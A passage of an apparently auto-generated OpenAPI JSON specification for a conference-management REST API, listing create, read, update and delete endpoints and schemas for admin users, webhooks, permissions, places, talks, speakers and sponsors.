admin-config.","tags":["_config"]},"delete":{"parameters":[{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/_config"}}},"404":{"description":"No admin-config matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"delete_configByQuery","summary":"Delete some admin-config by query","description":"Delete all admin-config matching the specified query.","tags":["_config"]}},"/admin-webhooks/{id}":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/id"}],"get":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_webhooks"}},"404":{"description":"No _webhooks was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"get_webhooksById","summary":"Get a _webhooks by its unique ID","description":"Retrieve a _webhooks by its ID.","tags":["_webhooks"]},"put":{"parameters":[{"$ref":"#/components/parameters/X-Baucis-Update-Operator"}],"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_webhooks"}},"404":{"description":"No _webhooks was found with that ID.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"requestBody":{"content":{"application/json":{"description":"Update a _webhooks by sending the paths to be updated in the request body.","schema":{"$ref":"#/components/schemas/_webhooks"}}}},"operationId":"update_webhooks","summary":"Modify a _webhooks by its unique ID","description":"Update an existing _webhooks by its ID.","tags":["_webhooks"]},"delete":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_webhooks"}},"404":{"description":"No _webhooks was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"delete_webhooksById","summary":"Delete a _webhooks by its unique ID","description":"Deletes an existing _webhooks by its ID.","tags":["_webhooks"]}},"/admin-webhooks":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/sort"}],"get":{"parameters":[{"$ref":"#/components/parameters/count"},{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/_webhooks"}}},"404":{"description":"No admin-webhooks matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"query_webhooks","summary":"Query some admin-webhooks","description":"Query over admin-webhooks.","tags":["_webhooks"]},"post":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_webhooks"}},"404":{"description":"No admin-webhooks matched that query.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"create_webhooks","summary":"Create some admin-webhooks","description":"Create one or more admin-webhooks.","tags":["_webhooks"]},"delete":{"parameters":[{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/_webhooks"}}},"404":{"description":"No admin-webhooks matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"delete_webhooksByQuery","summary":"Delete some admin-webhooks by query","description":"Delete all admin-webhooks matching the specified query.","tags":["_webhooks"]}},"/admin-users/{id}":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/id"}],"get":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_users"}},"404":{"description":"No _users was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"get_usersById","summary":"Get a _users by its unique ID","description":"Retrieve a _users by its ID.","tags":["_users"]},"put":{"parameters":[{"$ref":"#/components/parameters/X-Baucis-Update-Operator"}],"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_users"}},"404":{"description":"No _users was found with that ID.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"requestBody":{"content":{"application/json":{"description":"Update a _users by sending the paths to be updated in the request body.","schema":{"$ref":"#/components/schemas/_users"}}}},"operationId":"update_users","summary":"Modify a _users by its unique ID","description":"Update an existing _users by its ID.","tags":["_users"]},"delete":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_users"}},"404":{"description":"No _users was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"delete_usersById","summary":"Delete a _users by its unique ID","description":"Deletes an existing _users by its ID.","tags":["_users"]}},"/admin-users":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/sort"}],"get":{"parameters":[{"$ref":"#/components/parameters/count"},{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/_users"}}},"404":{"description":"No admin-users matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"query_users","summary":"Query some admin-users","description":"Query over admin-users.","tags":["_users"]},"post":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_users"}},"404":{"description":"No admin-users matched that query.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"create_users","summary":"Create some admin-users","description":"Create one or more admin-users.","tags":["_users"]},"delete":{"parameters":[{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/_users"}}},"404":{"description":"No admin-users matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"delete_usersByQuery","summary":"Delete some admin-users by query","description":"Delete all admin-users matching the specified query.","tags":["_users"]}},"/admin-providers/{id}":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/id"}],"get":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_providers"}},"404":{"description":"No _providers was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"get_providersById","summary":"Get a _providers by its unique ID","description":"Retrieve a _providers by its ID.","tags":["_providers"]},"put":{"parameters":[{"$ref":"#/components/parameters/X-Baucis-Update-Operator"}],"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_providers"}},"404":{"description":"No _providers was found with that ID.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"requestBody":{"content":{"application/json":{"description":"Update a _providers by sending the paths to be updated in the request body.","schema":{"$ref":"#/components/schemas/_providers"}}}},"operationId":"update_providers","summary":"Modify a _providers by its unique ID","description":"Update an existing _providers by its ID.","tags":["_providers"]},"delete":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_providers"}},"404":{"description":"No _providers was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"delete_providersById","summary":"Delete a _providers by its unique ID","description":"Deletes an existing _providers by its ID.","tags":["_providers"]}},"/admin-providers":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/sort"}],"get":{"parameters":[{"$ref":"#/components/parameters/count"},{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/_providers"}}},"404":{"description":"No admin-providers matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"query_providers","summary":"Query some admin-providers","description":"Query over admin-providers.","tags":["_providers"]},"post":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_providers"}},"404":{"description":"No admin-providers matched that query.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"create_providers","summary":"Create some admin-providers","description":"Create one or more admin-providers.","tags":["_providers"]},"delete":{"parameters":[{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/_providers"}}},"404":{"description":"No admin-providers matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"delete_providersByQuery","summary":"Delete some admin-providers by query","description":"Delete all admin-providers matching the specified query.","tags":["_providers"]}},"/admin-permissions/{id}":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/id"}],"get":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_permissions"}},"404":{"description":"No _permissions was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"get_permissionsById","summary":"Get a _permissions by its unique ID","description":"Retrieve a _permissions by its ID.","tags":["_permissions"]},"put":{"parameters":[{"$ref":"#/components/parameters/X-Baucis-Update-Operator"}],"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_permissions"}},"404":{"description":"No _permissions was found with that ID.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"requestBody":{"content":{"application/json":{"description":"Update a _permissions by sending the paths to be updated in the request body.","schema":{"$ref":"#/components/schemas/_permissions"}}}},"operationId":"update_permissions","summary":"Modify a _permissions by its unique ID","description":"Update an existing _permissions by its ID.","tags":["_permissions"]},"delete":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_permissions"}},"404":{"description":"No _permissions was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"delete_permissionsById","summary":"Delete a _permissions by its unique ID","description":"Deletes an existing _permissions by its ID.","tags":["_permissions"]}},"/admin-permissions":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/sort"}],"get":{"parameters":[{"$ref":"#/components/parameters/count"},{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/_permissions"}}},"404":{"description":"No admin-permissions matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"query_permissions","summary":"Query some admin-permissions","description":"Query over admin-permissions.","tags":["_permissions"]},"post":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_permissions"}},"404":{"description":"No admin-permissions matched that query.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"create_permissions","summary":"Create some admin-permissions","description":"Create one or more admin-permissions.","tags":["_permissions"]},"delete":{"parameters":[{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/_permissions"}}},"404":{"description":"No admin-permissions matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"delete_permissionsByQuery","summary":"Delete some admin-permissions by query","description":"Delete all admin-permissions matching the specified query.","tags":["_permissions"]}},"/places/{id}":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/id"}],"get":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/Place"}},"404":{"description":"No place was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"getPlaceById","summary":"Get a place by its unique ID","description":"Retrieve a place by its ID.","tags":["place"]},"put":{"parameters":[{"$ref":"#/components/parameters/X-Baucis-Update-Operator"}],"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/Place"}},"404":{"description":"No place was found with that ID.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"requestBody":{"content":{"application/json":{"description":"Update a place by sending the paths to be updated in the request body.","schema":{"$ref":"#/components/schemas/place"}}}},"operationId":"updatePlace","summary":"Modify a place by its unique ID","description":"Update an existing place by its ID.","tags":["place"]},"delete":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/Place"}},"404":{"description":"No place was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"deletePlaceById","summary":"Delete a place by its unique ID","description":"Deletes an existing place by its ID.","tags":["place"]}},"/places":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/sort"}],"get":{"parameters":[{"$ref":"#/components/parameters/count"},{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/Place"}}},"404":{"description":"No places matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"queryPlace","summary":"Query some places","description":"Query over places.","tags":["place"]},"post":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/Place"}},"404":{"description":"No places matched that query.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"createPlace","summary":"Create some places","description":"Create one or more places.","tags":["place"]},"delete":{"parameters":[{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/Place"}}},"404":{"description":"No places matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"deletePlaceByQuery","summary":"Delete some places by query","description":"Delete all places matching the specified query.","tags":["place"]}},"/sessionTalks/{id}":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/id"}],"get":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/SessionTalk"}},"404":{"description":"No sessionTalk was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"getSessionTalkById","summary":"Get a sessionTalk by its unique ID","description":"Retrieve a sessionTalk by its ID.","tags":["sessionTalk"]},"put":{"parameters":[{"$ref":"#/components/parameters/X-Baucis-Update-Operator"}],"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/SessionTalk"}},"404":{"description":"No sessionTalk was found with that ID.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"requestBody":{"content":{"application/json":{"description":"Update a sessionTalk by sending the paths to be updated in the request body.","schema":{"$ref":"#/components/schemas/sessionTalk"}}}},"operationId":"updateSessionTalk","summary":"Modify a sessionTalk by its unique ID","description":"Update an existing sessionTalk by its ID.","tags":["sessionTalk"]},"delete":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/SessionTalk"}},"404":{"description":"No sessionTalk was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"deleteSessionTalkById","summary":"Delete a sessionTalk by its unique ID","description":"Deletes an existing sessionTalk by its ID.","tags":["sessionTalk"]}},"/sessionTalks":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/sort"}],"get":{"parameters":[{"$ref":"#/components/parameters/count"},{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/SessionTalk"}}},"404":{"description":"No sessionTalks matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"querySessionTalk","summary":"Query some sessionTalks","description":"Query over sessionTalks.","tags":["sessionTalk"]},"post":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/SessionTalk"}},"404":{"description":"No sessionTalks matched that query.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"createSessionTalk","summary":"Create some sessionTalks","description":"Create one or more sessionTalks.","tags":["sessionTalk"]},"delete":{"parameters":[{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/SessionTalk"}}},"404":{"description":"No sessionTalks matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"deleteSessionTalkByQuery","summary":"Delete some sessionTalks by query","description":"Delete all sessionTalks matching the specified query.","tags":["sessionTalk"]}},"/speakers/{id}":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/id"}],"get":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/Speaker"}},"404":{"description":"No speaker was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"getSpeakerById","summary":"Get a speaker by its unique ID","description":"Retrieve a speaker by its ID.","tags":["speaker"]},"put":{"parameters":[{"$ref":"#/components/parameters/X-Baucis-Update-Operator"}],"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/Speaker"}},"404":{"description":"No speaker was found with that ID.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"requestBody":{"content":{"application/json":{"description":"Update a speaker by sending the paths to be updated in the request body.","schema":{"$ref":"#/components/schemas/speaker"}}}},"operationId":"updateSpeaker","summary":"Modify a speaker by its unique ID","description":"Update an existing speaker by its ID.","tags":["speaker"]},"delete":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/Speaker"}},"404":{"description":"No speaker was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"deleteSpeakerById","summary":"Delete a speaker by its unique ID","description":"Deletes an existing speaker by its ID.","tags":["speaker"]}},"/speakers":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/sort"}],"get":{"parameters":[{"$ref":"#/components/parameters/count"},{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/Speaker"}}},"404":{"description":"No speakers matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"querySpeaker","summary":"Query some speakers","description":"Query over speakers.","tags":["speaker"]},"post":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/Speaker"}},"404":{"description":"No speakers matched that query.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"createSpeaker","summary":"Create some speakers","description":"Create one or more speakers.","tags":["speaker"]},"delete":{"parameters":[{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/Speaker"}}},"404":{"description":"No speakers matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"deleteSpeakerByQuery","summary":"Delete some speakers by query","description":"Delete all speakers matching the specified query.","tags":["speaker"]}},"/sponsors/{id}":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/id"}],"get":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/Sponsor"}},"404":{"description":"No sponsor was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"getSponsorById","summary":"Get a sponsor by its unique ID","description":"Retrieve a sponsor by its ID.","tags":["sponsor"]},"put":{"parameters":[{"$ref":"#/components/parameters/X-Baucis-Update-Operator"}],"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/Sponsor"}},"404":{"description":"No sponsor was found with that ID.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"requestBody":{"content":{"application/json":{"description":"Update a sponsor by sending the paths to be updated in the request body.","schema":{"$ref":"#/components/schemas/sponsor"}}}},"operationId":"updateSponsor","summary":"Modify a sponsor by its unique ID","description":"Update an existing sponsor by its ID.","tags":["sponsor"]},"delete":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/Sponsor"}},"404":{"description":"No sponsor was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"deleteSponsorById","summary":"Delete a sponsor by its unique ID","description":"Deletes an existing sponsor by its ID.","tags":["sponsor"]}},"/sponsors":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/sort"}],"get":{"parameters":[{"$ref":"#/components/parameters/count"},{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/Sponsor"}}},"404":{"description":"No sponsors matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"querySponsor","summary":"Query some sponsors","description":"Query over sponsors.","tags":["sponsor"]},"post":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/Sponsor"}},"404":{"description":"No sponsors matched that query.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"createSponsor","summary":"Create some sponsors","description":"Create one or more sponsors.","tags":["sponsor"]},"delete":{"parameters":[{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/Sponsor"}}},"404":{"description":"No sponsors matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"deleteSponsorByQuery","summary":"Delete some sponsors by query","description":"Delete all sponsors matching the specified query.","tags":["sponsor"]}}},"components":{"schemas":{"_config":{"required":["key"],"properties":{"key":{"type":"string"},"value":{"type":"string"},"_id":{"type":"string"},"__v":{"type":"number","format":"int32"},"id":{"type":"string"}}},"_webhooks":{"required":["enabled","resource","operation","httpMethod","urlTemplate"],"properties":{"enabled":{"type":"boolean"},"resource":{"type":"string"},"operation":{"type":"string"},"httpMethod":{"type":"string"},"urlTemplate":{"type":"string"},"parameters":{"type":"array","items":{"$ref":"#/components/schemas/_webhooksParameters"}},"contentType":{"type":"string"},"bodyTemplate":{"type":"string"},"_id":{"type":"string"},"__v":{"type":"number","format":"int32"},"id":{"type":"string"}}},"_webhooksParameters":{"required":["type","key"],"properties":{"type":{"type":"string"},"key":{"type":"string"},"value":{"type":"string"},"_id":{"type":"string"},"id":{"type":"string"}}},"_users":{"required":["accountType","username","createdAt","enabled","role"],"properties":{"accountType":{"type":"string"},"username":{"type":"string"},"password":{"type":"string"},"token":{"type":"string"},"createdAt":{"type":"string","format":"date-time"},"lastAccessOn":{"type":"string","format":"date-time"},"enabled":{"type":"boolean"},"role":{"type":"string"},"description":{"type":"string"},"_id":{"type":"string"},"__v":{"type":"number","format":"int32"},"id":{"type":"string"}}},"_providers":{"required":["name","enable","autoEnroll","order"],"properties":{"name":{"type":"string"},"enable":{"type":"boolean"},"autoEnroll":{"type":"boolean"},"defaultRole":{"type":"string"},"order":{"type":"number","format":"double"},"_id":{"type":"string"},"__v":{"type":"number","format":"int32"},"id":{"type":"string"}}},"_permissions":{"required":["role","resource"],"properties":{"role":{"type":"string"},"resource":{"type":"string"},"operations.allow":{"type":"array","items":{"type":"string"}},"operations.deny":{"type":"array","items":{"type":"string"}},"horizontalSecurity.type":{"type":"string"},"fields.allow":{"type":"array","items":{"type":"string"}},"fields.deny":{"type":"array","items":{"type":"string"}},"_id":{"type":"string"},"__v":{"type":"number","format":"int32"},"id":{"type":"string"}}},"Place":{"required":["name","location.type"],"properties":{"_ownerId":{"type":"string"},"_createdAt":{"type":"string","format":"date-time"},"name":{"type":"string"},"address":{"type":"string"},"city":{"type":"string"},"zipCode":{"type":"number","format":"double"},"image":{"type":"string"},"_id":{"type":"string"},"location.type":{"type":"string"},"location.coordinates":{"type":"array","items":{"type":"string"}},"__v":{"type":"number","format":"int32"},"id":{"type":"string"}}},"SessionTalk":{"required":["sessionType","name","track","language"],"properties":{"_ownerId":{"type":"string"},"_createdAt":{"